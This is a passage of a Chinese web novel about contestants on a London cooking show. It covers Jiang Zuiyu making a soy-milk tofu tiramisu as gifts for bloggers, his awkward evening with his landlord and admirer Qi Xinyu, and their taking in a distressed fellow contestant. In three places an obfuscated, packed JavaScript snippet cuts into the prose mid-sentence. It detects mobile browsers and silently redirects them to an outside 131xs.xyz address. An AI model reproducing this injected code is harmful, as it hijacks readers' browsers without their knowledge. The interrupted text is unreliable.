“这个小朋友就……嗯，是个少年老成的小朋友。” ”还有一个小问题就是，为了节省时间，你选择将炖扇贝和装饰用的蒜香奶油分开做，以至于你的装饰白酱少了一些海鲜的鲜甜。” “坦白说，我很难告诉你究竟是送三只火候不同的扇贝上来好，还是只放两只完美的，”奥斯汀摊了摊手，“我只能说你确实很努力，而且做得不错。” 丽贝卡向他道谢：“如果有下次，我一定端上一份完美的‘三人行’。” 这个美国姑娘在一次炸厨房般的事故之后迅速成长起来，另一个女生却没有她的好运。 蒋醉余的判断是正确的，维多利亚成为了首个离开厨房的人。 “不要伤心呀，”她向众人挥挥手，“我家就在伦敦，随时还能回来看你们呢。” 一个多星期的相处让他们已经逐渐打破了陌生人之间的隔阂，却猝不及防地迎来第一次告别。 下了赛场就亲如友人的选手们终于破釜沉舟地意识到，这是一场有赢家的比赛。 当然，也不是没有认清残酷现实的人。 “是比赛，自然有赢家也有输家，他们太天真了，”安迪浑不在意地说道，“我不在意谁离开，我只在意谁留下，我在预赛采访里就说过了，我来这里唯一的目的就是那座冠军奖杯。” 伊拉则有更现实的理由，她轻声道：“我父亲是下岗工人，母亲给人做清洁工，但家里还有三个弟弟妹妹要养，百万英镑的最终大奖对我来说可能是救命钱，我可以开一家餐厅，获得稳定的收入来源。” 他们“理智地”看着另一群人沉溺在低迷的状态中，奇怪的分歧在教室上空笼罩数日。 梅森拍拍手召唤众人的眼光：“今天依然是基本功练习，没有时间限制，做完就下课。” “我们要来制作三种包油开酥的基础千层酥皮，也就是粉包油法、反转法和速成法。” 粉包油就是用面团包住黄油片，也是西点中最常见的方法。 反转法与它正相反，用黄油面粉混合物包住基础面团，有点像中式点心的水油皮和油酥。 速成法顾名思义，比前两种的制作时间更短，是在揉面时加入小块黄油，再将面团擀平折叠，黄油自然随着面团被分割成一层层小段。 这些名词选手们都很熟悉了，根本不需要他过多解释，当即开始行动。 和正式赛场不同，他们在这里是每三人共用一张料理台，气氛显得轻松很多，时不时就有低低的聊天讨论声响起。 除了蒋醉余这一桌。 他、北欧姑娘伊薇特和刚刚离开的维多利亚原本是一组。 伊薇特这两天一直状态不怎么好，蒋醉余从来没有主动聊天的习惯，两个人便沉默地各做各的。 他把面团第一次放进冰箱定型的时候，看到伊薇特还在心神不定地慢吞吞和面。 他把第一只派放进烤箱烘烤的时候，看到伊薇特在拯救擀破了露出黄油的酥皮。 甚至，当他通过了检验，收拾东西准备回家的时候，看到伊薇特从烤箱里取出了一张干瘪的面饼，明显是开酥失败。 蒋醉余正犹豫着要不要表达一下对“同桌”的关心，就被选手助理突然叫住。 “醉余，等等，”对方说，“我们这边有个活动需要你出面配合宣传。” 他说的是短视频平台上的那个菊花豆腐挑战。 节目组也没想过这个活动的热度能愈演愈烈成现在的样子，原本准备的“大奖”便显得有些简陋寒酸。 他们希望蒋醉余能够亲手做点什么送给热度榜前五名的博主；如果可以的话，再录个反应视频就更好了。 “选手配合正赛、花絮在内的拍摄任务是合同里就写好了的吧。”蒋醉余有些奇怪他为何特此一问。 助理挠了挠头：“嗯……因为摄制组被派出去干别的工作了，所以可能需要你自己录。” 蒋醉余默不作声地看着他。 这算什么，不想当制作人的厨子不是好偶像？ 助理不敢和这张脸对视，飞速解释道：“你放心，我们会把需要看的视频合集给你准备好的，也不用管剪辑，你只要看然后录像就可以。” “那如果我以前看过了呢？”他突然想起自己之前被齐新雨或其他选手分享的一两个视频。 助理一脸很懂的表情：“没关系，直说就行，他们会很高兴自己早就被看到了的。” 蒋醉余欲言又止。 你懂了什么啊，我真的没有高强度自搜啊！ “毁坏他声誉”的万恶之源齐新雨倒是对此很兴奋。 这位天才少年从小就没有按照正常人的路线上学，十五岁就进入了世界顶尖的一所艺术大学，主修油画之余还有空把雕塑、摄影、动画、设计等等科目的课全都蹭了一遍。 他喜气洋洋地自荐：“蒋先生，我给你录呀！” 蒋醉余头疼地捂住脸：“不急。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775095|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逃避可耻但快乐，还是等助理来催了再说吧。 他暂且不打算思考反应视频应该怎么录，把目光转向另一项工作：给获奖的博主们准备礼物。 节目组已经宣布了评选截止，私信向五名中奖博主询问了忌口和味道偏好。 好消息是博主们没有很强硬地拒绝某一种口味，而且身体健康、没有过敏症状，没有那种能因一个五仁月饼全军覆没的脆皮白人。 但由于组织的是豆腐挑战，节目组倒是有一些限制：他们希望蒋醉余依然能够做一些和豆制品有关的食物。 “我这个‘豆腐之王’的称号是摘不掉了，”他苦笑道，“这名头也太大了。” 这么大言不惭的帽子，要是师傅听到大概能拿来嘲笑他一辈子吧，他突然想起那位老先生，暗自叹了口气。 “上下五千年华夏，九百六十万平方公里土地，我们什么没见过啊。”这是师傅常挂在嘴边的。 千百年来，中国人对豆类的研究和运用令人叹为观止。 哪怕快递运输注定了需要是保质期不能太短的食物，也仍旧能令人挑花眼。 咸辣口味如豆干、甜蜜细腻如豆乳盒子、风味独特如臭豆腐，甚至麻婆豆腐酱汁之类的半成品辅料，在真空或冷冻保存之后估计也能坚持到观众手里。 实在是……奢侈的烦恼。 “豆干应该可以吃得久一点？”蒋醉余犹豫道。 齐新雨冷静反驳：“你上周做的一大盘烤鸡丝零食我们两天就吃完了。” “那要不就豆乳盒子？有奶油有蛋糕应该接受度比较高？” “可是相比起豆乳他们会不会更期待豆腐？” 蒋醉余没话说了。 连这两个都不靠谱，另外两项方案就更是玩笑了。 臭豆腐在华夏国内的大众接受度都没有太高，更何况甚至不一定听说过它的西方人。蒋醉余恐怕自己做了寄过去，就会被博主提问“这个豆腐是变质了吗？” 麻婆豆腐酱料包什么的纯属凑数，在食品工业的努力下，随便一家中超都有卖的，拯救了无数留学生寡淡的味蕾；就算“真正的”麻婆豆腐再怎么风味多元，对普通人来说也不太亮眼。 他又把思路转回豆干和豆乳盒子。 豆干作为零食被消耗得快不算什么大毛病，奈何长得实在太朴实无华，腌制过多口味蒋醉余又嫌麻烦。 豆乳盒子的主要问题则是豆腐元素显得有些少。 若是想把豆制品应用在甜品中……那就要选质地细腻丝滑的品种了，比如蒋醉余当初用来做菊花豆腐的内酯豆腐。 随着大众对身形体态的追求，越来越多的低脂高蛋白食谱在网上涌现，其中用来制作低卡甜品的替代物往往就是豆腐。 蒋醉余拍拍手，齐新雨像小猫听见铃铛响一样眼睛亮晶晶地望过来：“我决定了。就做豆乳提拉米苏吧。” 19. 豆乳盒子蛋糕 蒋醉余把想做豆乳盒子版提拉米苏的想法告诉助理之后，节目组很快给他准备好了材料和包装。 “我今天晚一点回去，要留在摄影棚把蛋糕做完再走。”他掏出手机往家里发信息。 齐新雨秒回了一个叹号，没再说话，只有“对方正在打字”的提示不断出现。 蒋醉余盯着提示音看了两秒，拿着手机走到楼道里，一条语音通话拨了出去。 齐新雨接了电话，语气犹豫：“其实也没什么大事啦……我画了点明信片和贴纸，想着如果蒋先生需要可以跟着送给博主们的。” 他有点懊恼，蒋醉余只觉得那嗓音脆生生的：“你们导演怎么安排工作这么急呀，我本来准备明天去学校印出来的。” 齐新雨他们学校有不少专业要研究装帧和印刷效果。 所以校内配有设备相当齐全的打印室，包括和纸胶带、贴纸在内各种材质、各种尺寸的载体应有尽有。 蒋醉余听到他那叮叮咣咣收拾东西的声音，然后齐新雨说：“我现在就去学校印，大概一个小时以后能到摄影棚，蒋先生可以吗？” “谢谢小齐。”他干巴巴地说，然后陷入沉默。他得承认，自己不是很擅长应对这样热烈而直白的情感。 蒋醉余张了张口，把一句下意识的“不需要这么麻烦你”咽回腹中。 但理智告诉他，如果遭到自己的拒绝，齐新雨显然才会更难受。 “别着急，我从打豆浆开始，要做很久，”他找到了话题，“你慢慢走，不要因为路上没车就不按红绿灯直接跑过去，也注意点那些横冲直撞的中学生……” 他还从来没有这样被人不图回报地善待过，一时间有些手足无措，字斟句酌地慢慢道：“等你来了给我打电话，我去接你。” “好哦！”齐新雨尾音上扬，“那蒋先生待会见，我先出门啦！” 蒋醉余点点头，突然意识到对方看不到：“嗯，一路小心。” 话音未落，选手助理试探性地冒出头： “醉余，在和你爱人打电话吗？材料都给你放在工作台上了，随时都可以开始哦。” 蒋醉余一愣。 不是爱人，只是……朋友？粉丝？房东？ 他思索半天也没想出解释，助理似乎也不是真的在意他在干什么，只好一声不吭地点点头，回到厨房。 先把泡了一夜的黄豆放到豆浆机里打成豆浆，现代科技嗡嗡运转，他才开始正式制作蛋糕体。 蛋白打发到发泡，加入面粉和打散的蛋黄搅拌均匀，这就是最简单的手指饼干面糊了。 做个粉丝回馈不需要比赛那么多精致和创新，他把面糊挤成最经典的一根一根的条状，筛上一层雪白的糖粉，送进烤箱烘烤。 接下来便是核心豆乳风味的来源。 考虑到可能有人不太适应豆腐的味道，他还是把豆腐放到热水里稍微煮了一分多钟，祛除掉一部分豆腥，又保留了少许黄豆的醇香。 一旁嗡嗡作响的豆浆机运转二十分钟左右，结束了工作。 蒋醉余将豆浆、鲜奶油、泡发好的吉利丁一起隔水小火融化、完全混合，放入一颗香草荚增香。 挤干水分的豆腐和马斯卡彭芝士倒入前一步的混合液体，随意加一点玫瑰花露提升风味和时令的春日气息，用破壁机打碎、过筛成细腻的糊状。 各部分已经准备完毕，就到了组装的时刻。 手指饼干快速地在豆浆中浸湿，铺在透明食品盒的底部。 他在挤面糊形状的时候特意测量了盒子大小，所以饼干正正好好放了两列，绝对是令强迫症大为舒适的排布。 然后在上面铺上一层豆腐慕斯糊、一层饼干，最顶层的慕斯糊则利用裱花袋挤成一个个尖头的半圆，形状仿佛俄罗斯的传统洋葱头屋顶。 除了五个送给观众的蛋糕以外，他还又用多做了一大盆。 这份没有修饰，只是简单粗暴地把面糊抹平，一起送进冰箱冷藏定型。 他把黄豆放到烤箱烤干，用破壁机打成粉末，现烤的黄豆粉除了浓郁的香气，还有一股淡淡的天然谷物甜味。 等待的时间不容浪费。 取糯米粉加水揉成团，搓成一个个小圆球，在滚水中煮熟，等待晾凉后串成团子串，装饰到蛋糕上面。 他把糯米团子们分开装好，防止粘在一起，突然想起来什么似的定住了。 ……坏了。 蒋醉余迷茫地眨了眨眼。 他好像让齐新雨来了之后告诉自己去接他？ 可是当时的他好像忘记了，提拉米苏这种甜品一般都要冷藏过夜的，少说也要两三个小时。 “是做完了吗，辛苦了。”助理见他没有动作了，连忙问道。 “……是。”蒋醉余痛苦地点点头，手机叮咚一声响起消息通知。 齐新雨没有打电话，只是很克制地发来一条短信。蒋醉余听着清脆的提示音，只觉得它怎么听怎么像在嘲讽自己。 他把糯米团子委托给助理放到冷藏室存好，向园区大门赶去。 等他抵达门口，齐新雨果然已经在等着了。 四月的英国还有些许凉意，被地理书称为“全年温暖湿润”的海洋性气候，寒冬炎夏都很克制。 温度不算太低，风却很大，还挟着断断续续的春雨。 现在已经是傍晚五点，园区内的工作人员纷纷下班。 齐新雨撑着伞，裹了条厚实的驼色羊绒围巾，站在归心似箭的人流中，看着比路上的绝大多数人都要暖和不少。 他半张脸都藏在围巾后面，仍能露出一点浅红的脸颊。 “你是跑过来的？”蒋醉余见他轻轻喘息，微微蹙眉问道。 齐新雨傻乎乎地笑：“没办法，你们园区不让出租车进。” “怪我，”蒋醉余领着人往楼里走，叹了口气，主动坦白，“我没想起来提拉米苏需要冷藏定型。” “没关系呀，”齐新雨眯起眼睛，薄荷绿的眸子弯弯如月，“就当是我趁机来围观《美食之王》的录制现场了，这是多少人求不来的机会呢。” 蒋醉余把他按在椅子上，盯着他喝完加了黑糖的热豆浆。 他总觉得齐新雨抵抗力不怎么样，今天在雨里跑了几分钟回去说不定就要生病， 蒋醉余把蛋糕挪到温度更低一点的另一个冷藏柜，和摄影棚的值班人员说好自己四小时以后再回来。 “我们现在可以在周边玩一圈。”他看一眼旁边脸红扑扑的人，“今天周五，附近的公园广场好像有活动。” 齐新雨他算了算时间：“最近好像是樱花季来着，我以前经常来这边采风，广场上的流动食品摊这个时候也会应公园要求做一些相关的菜。” “蒋先生也还没吃晚饭呢吧，那边有一家地中海风味的餐厅不错。” 他们很快定下来了接下来的行程。 听起来有点不伦不类，但樱花的确是伦敦相当常见的装饰树种，和它的原产国日本全然两种风格。 “樱花啊……”蒋醉余重复一句。 齐新雨捂着嘴打了个喷嚏，顺势望过来：“啊啾——怎么了吗？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775096|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>蒋醉余摇摇头：“没什么，我以前学校里也种了一片。” “哇，蒋先生以前在樱花产地上学吗？”齐新雨还是没明白，“我记得我有同学说它就是从中国传到日本的。” 蒋醉余轻轻叹口气，摇了摇头：“怎么谣言都传到你这来了。” 百万年前，樱花从喜马拉雅山南麓的尼泊尔传到日本，它的起源传播育种都并无中国人参与。 如果一定要说它和大唐有什么关系…… 那只能是唐诗中“下阶自折樱桃花”“且厮山樱满院栽”诸句被挪用给樱花，刻意模糊了它同樱桃花之间鸿沟似的差异。 “我……”师父，蒋醉余顿了一下，把称呼咽回去，“的一个长辈，对樱花和和果子这些东西的起源有点研究，有时候意见比较大。” 齐新雨睁大了眼：“这也太过分了！那我们要不要现在回去！” “那不至于。”蒋醉余把他滑开的围巾绕回去，失笑道。 齐新雨伸手抓住回到原位的围巾，自认为不着痕迹地抬眼看了他一眼，僵硬地把话题扯远。 “看，松鼠。”他指向树下的草坪。 “之前家里院子也来过一只松鼠，在紫藤树底下埋了好多坚果，山核桃榛子松仁什么的，结果第二年自己找不到地方了，”他回忆道，“我后来偷偷扒开土地看过，明明就在那。” 蒋醉余笑了起来：“进了院子就是我们的了，等回去把它存货全翻出来，做个核桃派。” 步道至岔路，人群往右走，他们拐上左边小路。 曲折的路依湖而建，路尽头安静地坐落着一座白色的小房子，餐厅这便到了。 偌大一间餐厅里稀疏地撒着几张桌子，也许是因为客人少，所以哪怕只有一个服务员也上菜不慢。 罐焖牛肉炖得松软入味，特色乳酪和野菜、豆苗等时令蔬菜给沙拉增色不少。 当日特供的鱼做得也不错，齐新雨最喜欢他们家的海鲜，品种全看渔民当天的斩获。 总体而言，算是大众菜馆中水平中上的那一类。 “我大一的时候来这边写生比较多，房子也是那时候买的，当时特别喜欢来这吃饭。”齐新雨兴致勃勃介绍。 蒋醉余把牛肉咽下去：“你很喜欢他们家的味道？” “那倒不是，”齐新雨摆摆手，“你看他们家这个装潢，红墙面、蓝桌布、黄绿墙饰，但是因为整体饱和度和明度比较一致，所以虽然大红大绿但是完全不难看。” “店主爷爷奶奶人也很好，我一开始还来他们这练过色彩的。” 蒋醉余沉迷研究菜色和摆盘，根本没怎么注意店里的布置，闻言这才抬起头环顾四望。 一位头发银白但打理得整齐妥帖的夫人正从后厨向他们走来。 “泽菲尔，”她笑着开口，“好久不见。” 来人正是齐新雨口中的“店主奶奶”。 齐新雨放下刀叉挥挥手打招呼，又把蒋醉余介绍给她：“这是我的朋友。” “哦，我认识他，《美食之王》第五季到目前最火的一名选手，我爱人一直想要做出那道菊花豆腐，我已经吃了好多天豆腐泥啦。” 老夫人说话和蔼，听着像抱怨，语气却毫无烦恼，反而很是甜蜜。 她看向齐新雨，有点调侃道：“你好久没来，竟然不声不响把这么一位大厨拐成了男朋友。” 两个小年轻齐刷刷歪头。 老夫人看着齐新雨茫然的眼神，有些无奈： “泽菲尔呀，你不会这么多年还没发现我们家店只接待情侣吧？” 20. 盆装提拉米苏 直到回了《美食之王》的摄影棚，齐新雨依然保持着沉默。 太尴尬了。 尴尬得他想即刻买票去火星。 尴尬得达芬奇听了都要尖叫着从棺材里爬出来追到火星，把自己的一万张鸡蛋素描裹到他头上，给他吸一吸脑壳里的水。 他，齐新雨！小嘴叭叭地介绍了半天自己有多么喜欢这家餐厅、和老板多么熟识！ 结果三四年过去，连人家只接待情侣都不知道！ 他甚至一直以为以前其他客人看自己奇怪的眼神，是因为他在别人吃饭的时候抱着个速写本刷刷刷画画。 殊不知路人的真实想法大概是，他好可怜，他一定是被自己的约会对象放了鸽子。 而美滋滋看热闹的店长夫妇一开始破例接待他的原因，竟然只是觉得他的浅绿色眼睛很漂亮，“看起来呆呆的”。 “呜……”呆呆的齐新雨抱着头，不愿面对现实。 蒋醉余把老夫人送的小饼干撕开包装递给他：“没事的，大家都能理解，何况他们也确实一直都没告诉你嘛。” “蒋先生想笑就笑吧，”齐新雨不想说话，“那可是四年啊。” 店长太太戳穿了真相，若无其事地让他们好好吃，自己要先去忙，然后在送他们离开的时候语气轻柔地告诉他： “泽菲尔，我可以给一个小可爱破例，但是两个就不行了哦。希望下次见到你是和你的爱人一起来的。” 她眨眨眼：“比如这位蒋先生。” 齐新雨看着关上的店门，欲哭无泪。 话说得文雅，但这哪是“希望”，分明是要求。 回忆告一段落，他揉了揉发烫的脸，抱着包站起来。 蒋醉余看他似乎情绪稳定了一点，已经换上围裙开始对提拉米苏蛋糕进行最后的装饰。 齐新雨托着下巴，在围裙的胸口上发现了自己一笔一画绘制的图案。 他看着对方表情淡淡地打开一个盒子，淳朴的甜香瞬间溢了出来。 在蛋糕上面筛上厚厚一层盒中的黄豆粉，又在正中央斜着放下一串糯米团子。 糯米团子一串三个，用极细的黑巧克力勾了表情，有的开怀大笑，有的嘴巴呈猫咪一样的“w”形。 表情一共五种，每串团子上的图案都是随机的。 如果中奖博主有收集癖，大概会被逼疯。 蒋醉余把食品盒盖重新安回去。 透明盖子正中间贴着节目组的标志，能清晰地看到糯米团子的首尾和下面蛋糕的裱花。 盒子侧面就更赏心悦目了。 黄的豆粉、白的慕斯、卡其色的饼干、又两层慕斯和饼干，层次分明，色调和谐，界限清晰。 “小齐，”他如法炮制做好五个盒子，招呼齐新雨道，“你还准备了什么吗？” 齐新雨凑过来，从书包里掏出一叠明信片和一版贴纸。 贴纸是异形的，用了防水的材质，边缘沿图案裁得很齐，五张贴纸样式相同。 画面中的Q版蒋醉余枕着胳膊，似乎趴在桌子上，桌子却并没有被画出来。 那胳膊正好能卡在密封橡胶边缘，就好像他趴在令人橡胶封条上一样。 明信片则是从节目中截取一张菊花豆腐的照片作为背景，在纯实物的场景里画上一只纸片人蒋醉余。 五幅画中他的神态动作均不相同，这个板着脸坐在盘子上、那个吊着安全绳从空中垂下来触碰豆腐丝，与背景互动生动鲜活、各有巧思。 这下收集癖大概也许是真的要疯了。 “这也太……”蒋醉余轻柔缓慢地拂过印刷品光滑的表面，深吸一口气，“谢谢小齐，太费心了。” “还从来没有哪位朋友会为我做这么多。”他不假思索地轻声道。 他一直觉得自己是个占有欲很弱的人，对外物比较无所谓，此时竟然冒出把这些东西全部扣留在手中的想法。 本来也没告诉或将博主们会有惊喜，模特本人私吞（唯一）一份制品也不过分吧…… 蒋醉余默不作声地站在原地，大脑已经不由分说地判定了这主意可行性。 “没什么的，”齐新雨小声道，声音带着点莫名的慌张，“这么说，蒋先生其实应该已经发现了吧。” 蒋醉余不明所以地看向他。 发现什么？ 怎么这时候突然说这种话？ 他还不能完全做到坦然面对齐新雨作为粉丝发的那些作品，可不要被小齐看出自己的不自然。 他边想边找回自己在舞台上表情控制的感觉，就听齐新雨有点不好意思地说：“蒋先生是我的缪斯呀……” “我以前其实没有最近那么频繁钻画室的，但是看到蒋先生就会灵感爆发……” 齐新雨声音轻快，食指抵在唇边向他比了个噤声手势： “不要说我辛苦，我有灵感就画了，自己画得很开心。这种Q版没什么难度，我很高兴蒋先生能够喜欢它们的。” “更何况，我们不是朋友吗……”他重复一遍两人今天对外的彼此介绍。 蒋醉余只在学厨的时候也接触过一点绘画，比如魔方蛋糕上那朵不够艺术但足以象形的荷花，就足以学得他痛苦难言。 就算齐新雨来画Q版算是所谓降维打击，他也知道面前这人绝对形容得过分轻巧。 他长长叹了一口气，走上前揉了揉男生柔软的头发，惹来水绿色猫儿眼不满的张望。 “就算是我缪斯也不行，摸头会长不高的。”齐新雨嘟囔。 “齐新雨，”男人从善如流地放下手，郑重道，“谢谢你。” 他把空间留给齐新雨，走到厨房取出来自己多做的那一大盘蛋糕。 “反正导演说材料随便用，我就照着当时现场二十几个人的分量多做了亿点。” 他把蛋糕放在桌子上，对好奇的留守工作人员们说。 “没想到算错了蛋糕要冷藏的时长，现在他们都下班了，只剩五个来解决了。” 工作人员看着眼前的一盆蛋糕，大脑过载。 这个蛋糕，你说它是盆，那真是毫不羞辱盆。 它就像所有学生印象中食堂盛菜的那个方方正正的大铁盆，只不过要浅上不少，也就十公分左右的深度。 于是愈发显得这一盘豆乳提拉米苏简直宽广得如同一片荒原。 蒋醉余将一把裹着黄豆粉的糯米团子塞到齐新雨手里： “你先空口吃试试，一点糖都没加，就是糯米和黄豆本身的甜味，我觉得也挺好吃的。” 他找出一把经常用来切冰淇凌蛋糕的方片铲刀，看向工作人员：“你们要多少，还是想自己切？” “等、等一下，”工作人员终于回过神来，“你介不介意我们录个像，有可能会作为节目的官方宣传素材。” 蒋醉余震惊地看了一眼这位敬业员工，摊摊手示意他随意。 手机举起来，他先在提拉米苏一角横竖各切一刀，围出一块方形的蛋糕。 铲刀不是直的，刚好可以顺着侧边插到底部，像勺子一样把蛋糕“舀”出来。 长方形的大蛋糕少了一块、露出丰富扎实的内心，看起来更加诱人。 明明是清淡的黄白色，却仿佛花枝招展地勾引着镜头内外的人类：快来吃我呀。 蒋醉余先沿着横边切出来五块，逐个撒上黄豆粉、放上团子串： “先这样吧，谁还要吃谁再自己切，吃不下了就明天留给节目组其他人。” 录像的工作人员比了个ok的手势，迫不及待地关掉手机，双手齐出护 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775097|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住自己的一份。 别以为他没看到，那两个同事已经开吃了，而且目光炯炯地盯着他的蛋糕！ 相比于一般完全用马斯卡彭奶酪做出的提拉米苏，豆腐的加入使它口感更加轻盈清新，在奶香之外又多了几分豆子独特的气息，还有玫瑰花露提供隐隐约约的香甜芬芳。 柔美的玫瑰与质朴的豆乳搭配，竟然意外地和谐。 黄豆粉和可可粉更是两种完全不同的口感，前者醇厚微甘，后者浓郁微苦。 据说提拉米苏是一位妻子给她即将上战场的丈夫制作的，这个词在它的原产地意大利的意思是“带我走”。 如果说可可粉代表了爱别离的苦涩，那么黄豆粉则像起床后收到爱人一枚轻盈的早安吻，唇齿每一寸都盈满清浅的甜意。 不一定要多么轰轰烈烈，只要想到和你站在一起，就能感受到心中涌起淡淡的甜蜜。 而将咖啡替换成豆浆的选择，除了加强点题的豆乳味，也让这份甜品变得更加老少咸宜、更适合阖家欢乐的场合。 工作人员个个吃得赞不绝口，帮忙收拾好蛋糕和餐具，节目组约的冷链空运就已经等在了门口。 盒子被蛋糕和糯米丸子塞得满满当当，外面裹了一层层保鲜膜和泡沫纸，绝无翻车风险。 他们连夜把五盒蛋糕和明信片寄送出去，蒋醉余二人准备回家。 “哦对了，醉余，等一下，”一个工作人员突然喊住他，“维多利亚搬走了，你可以住到她那屋了。” 身边男生当即连呼吸都放轻，蒋醉余一愣，下意识回绝：“谢谢，不过我现在住的地方挺好的……” 工作人员揉了揉太阳穴，想了半天没找出委婉的表达：“主要是、嗯，你现在的同住人……毕竟是我们整个节目组的金主嘛……” “没关系的。”齐新雨主动开口。 工作人员一愣：“泽菲尔，我知道你信任你男朋友，不担心他和别人同居……” 齐新雨笑了起来，工作人员茫然地停下话头。 “都说了不是男朋友啦，”他说，“我说我不介意多个租客的嘛。” 蒋醉余扭头去看他，顺着瞳孔望见自己逆光的身影。 齐新雨仿佛这才意识到现场还有一个人，瞬间染上一层绯色。 他把围巾拉高了一点，连下眼睑都被挡了一半，睫毛一扇一扇暴露出不平静的心情。 光想着有人在喊自己，没意识到蒋先生还在旁边！ 他埋下头去盯着地板无声尖叫，仿佛要把大理石纹看出花来，听到蒋醉余预期寻常地和愣愣的工作人员道别。 蒋醉余推了推他另一边的肩膀，像是把整个人都揽在怀里，齐新雨这才机械性地迈开脚步。 从园区靠走路就能到家。 深夜的街道很安静，偶尔能见到一两只黑影从灌木丛里窜过，有野兔、松鼠或飞翔都吝啬的胖鸽子。 路灯昏暗，地面上的雨水聚集，一不留神便会踩到浅浅的小积水坑里。水花溅起清脆的声响。 “这片房子也有年头了，”齐听着耳边叽叽喳喳的鸟叫，“除了我们家这种买来出租或者投资的，好多人也都选择搬到更城里一点的地方了。” 蒋醉余点点头：“确实，这边会进进出出的人我都看得有点眼熟了。” 话音未落，他们便听到一阵低声哭泣。 呜咽的女声伴随着伦敦的夜风断断续续地传来，在这样的环境里颇容易让人引发一些不妙的联想。 “咳，不过倒也没有那么有年头。”齐新雨说。 至少没有年代久远、故事丰富到足以出现夜半幽灵之类的都市传说。 随着一路走，哭声越来越响，终于看到一个女生颓废地坐在路边长椅上。 “……伊薇特？” 21. 白面饼酱牛肉 蒋醉余从厨房出来的时候，看到齐新雨和伊薇特正在小声说着什么。 说实话，他完全不是个多么热忱的人。 他不擅长、也不怎么积极于和人类交往，从前在偶像团就经常被观众嫌弃沉闷。 所以看到同事深夜在小区里痛哭的时候，他也没什么心理波动和想法。 是个人都会有脆弱破防的时刻，也许人家就是想独处一会呢。 何况他自认和伊薇特并没有熟到可以上前充当心灵导师的地步。 但齐新雨不这么想。 所以他把伊薇特带回了家，用一句“拜托”把默不作声的蒋醉余支使到厨房去做热可可。温暖和甜食是抚慰人心的最大利器。 “家里没有巧克力了，这是用热巧粉冲的。”蒋醉余把杯子放在女选手面前。 “谢谢，我没什么大事，”伊薇特抱着马克杯轻声道，指尖发白，“我和导演请了假，明天就不去了。” 这显然是一个走投无路的决定 明天是周六，后天休息一天，等她周一回来就要直面第三周的正式比赛。 齐新雨坐在一旁看着，递过去一张纸巾，并不打算多问。 “休息两天也好。”蒋醉余等了一会无人说话，只好慢吞吞回应。 不然她这两天上课心不在焉的状态，万一失手在赛前把自己切着了才叫麻烦。 伊薇特把热巧表面装饰的草莓棉花糖用牙签插着吃掉，喝完最后一口饮料：“谢谢你们的款待。醉余，周一见。” 把她送出门，蒋醉余才默默叹了口气。 这一下午过得跌宕起伏，从蛋糕贴纸到逛公园下馆子，再到搬家危机最后捡到同事，接触到的信息量巨大，令人身心俱疲。 世界在此时归于只剩他们两个的状态，他们终于意识到白天各自说了些什么不得了的话。 齐新雨逃跑似的上楼回到自己的屋子，晚安道别和关门的声音一起落下来。 蒋醉余苦笑一声，望着手机发现自己有困惑甚至不知道该联系谁。 他犹豫再三，终于还是把愚蠢的问题拿给人工智障： 成为一位画家的缪斯意味着什么？ AI相当话痨，回过来长长的一段话。 蒋醉余眼神放空地看着光标闪烁、屏幕随着文段被撰写而自动下滑，慢慢把页面拖回开头。 数据堆积训练出的电子造物用条理清晰的冷静冷硬语言描写着一段常理难以解释的蓬勃感情。 “缪斯可能因美貌、个性等各种原因激发艺术家的想象力和创作热情。 “艺术家与缪斯的关系私密而独特： “它可能是爱情，也可能不是。” 每句话都说得模棱两可，蒋醉余看了半天，也只能将其理解为一项主观性极强的单方面情感。 没有标准答案、不要求回报；仿佛只是他的存在就可以将某个人的世界映得姹紫嫣红。 他尚不能理解这份情感，直到上课回来、视频软件推送来一条“《美食之王》第三集马上开播”的广告，也依然感到有些无所适从。 他不知道自己该怎么回应齐新雨，但齐新雨似乎也不知道怎么面对他。 楼上安安静静，年轻的男生已经在画室里缩了一天，蒋醉余夜里还看到他门缝透出明亮的灯光。 他们今天唯一的互动，就是齐新雨措辞十分礼貌地告诉他不用给自己备饭——虽然蒋醉余还是很担心地在他门口放了个热乎乎的烧饼夹肉。 不是那种酥脆的烧饼，而是切面细腻的死面饼。只有最纯粹的麦香，口感扎实得让人几乎想落泪。 生菜焯了一下擦干水分，里面的酱牛肉是蒋醉余自己做的，牛腱子在高压锅里炖到海枯石烂，牙齿轻轻用力就能将纤维彼此分离。 齐新雨坐在画室闲置的桌子边，恶狠狠地咬了一大口夹馍，两颊鼓鼓的。 蒋醉余来得轻手轻脚，甚至没有敲门，出去上课了才发消息让他中午记得下楼热一下再吃。 